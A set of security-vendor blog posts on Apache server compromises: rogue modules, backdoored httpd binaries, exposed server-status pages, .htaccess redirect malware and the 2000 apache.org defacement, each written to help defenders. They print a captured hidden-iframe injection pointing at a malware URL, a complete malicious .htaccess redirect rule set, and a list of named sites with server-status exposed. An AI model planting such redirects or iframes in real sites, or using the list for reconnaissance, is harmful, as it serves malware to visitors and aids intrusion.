Apache Web Server Attacks Continue to Evolve

For the past few months we have seen a gradual increase in server-level compromises. In fact, every week it seems we’re handling half a dozen or so and it continues to increase. It’s one of the reasons that I have started including this as a trend in my most recent Website Security presentations.

Just last week we talked about some very sneaky hacks that targeted the Apache binaries directly in the place of the modules, contrary to what we had been seeing. Fortunately, the more sophisticated attack are still far and few in between leaving us to deal with rogue modules more often than not.

Sucuri - Website Security Trends - Server Compromises

The purpose of this image is to provide a logical representation of the evolution of website attacks. While websites are still the number one distribution mechanism, attackers are making a big effort to improve their attacks by going after server level applications in the place of the website itself, and it’s application (i.e., Custom ASP/PHP, WordPress, Joomla, etc..). The beauty of this is that the attacks becomes platform agnostic, in terms of the platform the end-user is utilizing.

Read More

Apache Binary Backdoors on Cpanel-based servers

For the last few months we have been tracking server level compromises that have been utilizing malicious Apache modules (Darkleech) to inject malware into websites. Some of our previous coverage is available here and here.

However, during the last few months we started to see a change on how the injections were being done. On cPanel-based servers, instead of adding modules or modifying the Apache configuration, the attackers started to replace the Apache binary (httpd) with a malicious one. This new backdoor is very sophisticated and we worked with our friends from ESET to provide this report on what we are seeing.

Read More

Web Server Compromise – Debian Distro – Identify and Remove Corrupt Apache Modules

Came across another server compromise this week. Client was complaining that the following kept being injected into their JavaScript files:

document.write("<style.vb4brk { position:absolute; left:-1655px; top:-1476px} </style> 
<div class="vb4rk"><iframe 
src="httx:// 149.47.154.253/fee1f3119b234cb79f953e92281b12af/q.php" width="231" height="330">
</iframe></div>'); /*!

Fortunately, the client was working off a VPS. Doing so allowed us to dig deeper into the server and better address the issue. Looking at the server we quickly realized that a bad module had been injected. Unfortunately, because this was a Debian distribution, as such you can’t run the commands we provided in our last post.

Read More

Web Server Attacks – Apache Modules, Log Management and RELM

New year, same tricks, mostly because they work. That’s how we’re kicking off the new year folks.

In September of 2012, Dennis, of Unmask Parasites, first wrote about rogue apache modules being injected into web servers. It has since been all the rave. It seems every week we’re handling more and more cases, from private servers to large enterprises, being impacted by the same issue. As for the vector, in a good number of instances it comes down to access and in others vulnerabilities in software, software like PLESK.

What we have started to see is an evolution in these attacks. In one such case we saw two modules injected into the server. One was legitimate and was referencing another illegitimate module. Normal tactics failed to disclose it’s location. Monitoring the traffic of the server using tools like TCPDUMP did in fact show the infection was still present. We briefly wrote about some of these evolutions in a recent post, in which we articulate some of the things we are seeing. Fortunately, a lot of this comes down to the basics of knowing what your servers are running and what they are designed to do.

It’s for this reason that we’re pleading with organizations to apply better practice when managing their web servers. These servers are sitting between you, your environment, and your followers. They are prime targets and less and less focus is being placed on them.

Things you need to be doing:

  • Monitor your httpd.conf file (e.g., /etc/httpd/conf/httpd.conf)
  • Check the modules being loaded in your modules directory
  • Become vigilant with your logs
  • Practice the art of isolation


Read More

Out-of-date Software Affects Websites Big and Small

Last week we published an article listing some big and popular websites that were leaking information about their users via the Apache server-status page. We also published a full list of sites that had this option enabled on our Labs project: URLFind.org.

On URLFind, we list a lot more details than just the sites that have server-status enabled. You can easily find sites that are running outdated versions of WordPress, Joomla or even vBulletin. We also index sites that are still running PHP 4 (outdated and not supported) and other potentially unsafe configurations and servers.

Message to all webmasters

After we published the blog post with the server-status issue, almost all of the sites got fixed (well, excluding Staples and Ford), which I don’t think they would have without that small push (walk of shame).

We are hoping that by shedding a bit more light to this already publicly exposed dilemma, webmasters will take note and update their sites and servers as soon as they can.

Read More

Popular sites with Apache server-status enabled

Apache has a very useful functionality called server-status that allows administrators to easily find how well their servers are performing.

It is basically an HTML page that displays the number of process working, status of each request, IP addresses that are visiting the site, pages that are being queried and things like that. All good.

However, this feature can also have security implications if you leave it wide open to the world. Anyone would be able to see who is visiting the site, the URLs, and some times even find hidden (obscure) admin panels or files that should not be visible to the outside.

Talk about an awkward moment.

URL mapping and server status

We started a small crawling project in our Labs that queried over 10m different web sites (some of the crawl data is at URLfind.org). And we noticed something very interesting: Lots of web sites (some big ones) keep their server-status page open the whole world.

Here are just a few popular brands showing their status:

http://php.net/server-status/
http://metacafe.com/server-status/
http://cloudflare.com/server-status/ (FIXED)
http://disney.go.com/server-status/ (FIXED)
http://www.latimes.com/server-status/
http://www.staples.com/server-status/
http://tweetdeck.com/server-status/ (FIXED)
http://www.nba.com/server-status/
http://www.ford.com/server-status/
http://www.cisco.com/server-status/
http://www.chicagotribune.com/server-status/
http://www.yellow.com/server-status/
http://apache.org/server-status/

And many many more here: http://urlfind.org/?server-status.

Is that a big deal that I can go to staples.com/server-status/ and see all those orders/connections being made and their IPs? Or go to one of them and search for “admin-p” and find a mostly unprotected admin panel (I won’t disclose the site). Or find all the internal URLs and vhost mapping for nba.com or ford.com?

Probably not a big deal by itself (well, if you don’t have an unprotected admin panel), but that can help attackers easily find more information about these environments and use them for more complex attacks.


Simple fix

For server admins, please disable server-status or restrict it to only a set of IP addresses that really need to use it. This link explains how to do so: http://httpd.apache.org/docs/2.2/mod/mod_status.html.

Conditional redirects (or the htaccess malware)

We see all types of malware daily, but one of them seems to cause a lot of confusion to our users (and everyone in general). This is the common question we hear:

“Some users are complaining that when they search for my site on Google, they are redirected to a site full of malware/virus/spam, but when I access, it looks fine. I even scanned it with multiple anti-virus and they didn’t detect anything”

What that means is that someone hacked your site and modified your .htaccess file to redirect users coming from Google to a malware-infested site. Because of that, you end up blacklisted and losing users that can’t reach your site. (well, at least 99% of the time this is the cause).

That’s how the modified .htaccess file looks like:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*gooo?gle.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule .* http://badsite.com [R,L]

On some we even see these conditional redirects if the users are coming from Twitter, myspace, Linkedin, etc:

..
RewriteCond %{HTTP_REFERER} .twitter. [OR]
RewriteCond %{HTTP_REFERER} .blog. [OR]
RewriteCond %{HTTP_REFERER} .live. [OR]
RewriteCond %{HTTP_REFERER} .myspace. [OR]
RewriteCond %{HTTP_REFERER} .linkedin. [OR]
..

The reason most desktop anti virus (or malware scanners) won’t detect that when you scan your files is because they don’t understand the .htaccess file and they won’t follow this redirection. On Sucuri that’s how we would alert:
How to fix it?

Fixing this redirection is very simple, you just need to delete these entries from your .htaccess file (you can have more than one, so check all your directories) and you are set. However, you still have to verify that you don’t have anything else hidden in there, so do a full scan of your web site to make sure you are clean.

In addition to that, you still need to fix the problem that allowed you to get hacked. Most of the time it means updating your web application (WordPress, Joomla, etc), changing your passwords and cleaning your desktop.

As always, if you need help to recover from a malware/hacking attack or need someone to monitor your web site for these issues, visit http://sucuri.net or just send us an email at contact@sucuri.net.

Screenshot of the apache.org defacement (10 years ago)

We recently published a case study of the apache.org defacement that happened 10 years ago. You can read it here: Apache.org defaced – Security archive case study

We didn’t publish the screenshot of the defacement, but our friend @EdiStrosar sent us a link to it. Check it out:
Very funny…

Apache.org defaced – Security archive case study

Security Archive: Remembering security incidents to make sure we don’t commit the same mistakes over and over again.

Want to read more stories like this one? Follow @sucuri_security on twitter or subscribe to our RSS feed. Interested in a web site security monitoring solution? Visit sucuri.net.

May 5th, 2000. It was almost ten years ago that news came out. The web site for the most popular web server got defaced. Yes, Apache.org was hacked. The funny part is that the attackers were “nice” and only modified the page to add a Microsoft banner (“Powered by Microsoft BackOffice”).

How Embarrassing. They were “white hats” (according to Apache itself) and did nothing more than to add that funny banner. However, people were worried about what else they could have done or what else might be compromised. Was the Apache source code safe? Did anyone add a backdoor there? Even worse, how they got in? Was it caused by a 0-day on Apache itself?

The attackers itself explained how they got in and it was caused by a few configuration mistakes made by the Apache team.

Mistakes:

  1. Their HTTP root directory (www_root) was the same as their FTP root directory (ftp_root). So visiting http://apache.org was using a directory inside ftp://apache.org.
  2. Their FTP allowed anonymous access
  3. They had a world writable directory inside that FTP server
  4. They didn’t have a deny-all policy in their firewall
  5. MySQL was running as root

None of these are big issues by itself, but when merged together, they gave the attackers full access to the Apache server.

How they got in?

They added a PHP file inside that FTP world-writable directory and executed it via the HTTP site. After that they pushed a remote shell (to listen on port 65533) and got shell access! They looked around, found the database password inside the bugzilla configuration file, created a test database and exported it as a root executable file (remember, mysql was running as root – SELECT.. INTO OUTFILE) and after a few more tricks they owned everything…

What to learn from it and protect ourselves?

  1. Set up a default-deny policy on your firewall. If they had that (only allowing port 80 for example), their remote shell would not have worked. How is your firewall configured?
  2. The HTTP files should be owned by root, not the apache user itself. The apache user only need read access and maybe a write access to one or two directories
  3. Your web_root should be different from your ftp_root. I see lot of servers where the /home/[site] is both!
  4. Remove anonymous FTP access! If you need this functionality, configure a separate server for that. Anonymous write-access? Never!
  5. Don’t run your services as root! They only got root because mysql was running as root! Always use privilege-separated users

Want to see the full story? It is very entertaining. Check out: http://www.dataloss.net/papers/how.defaced.apache.org.txt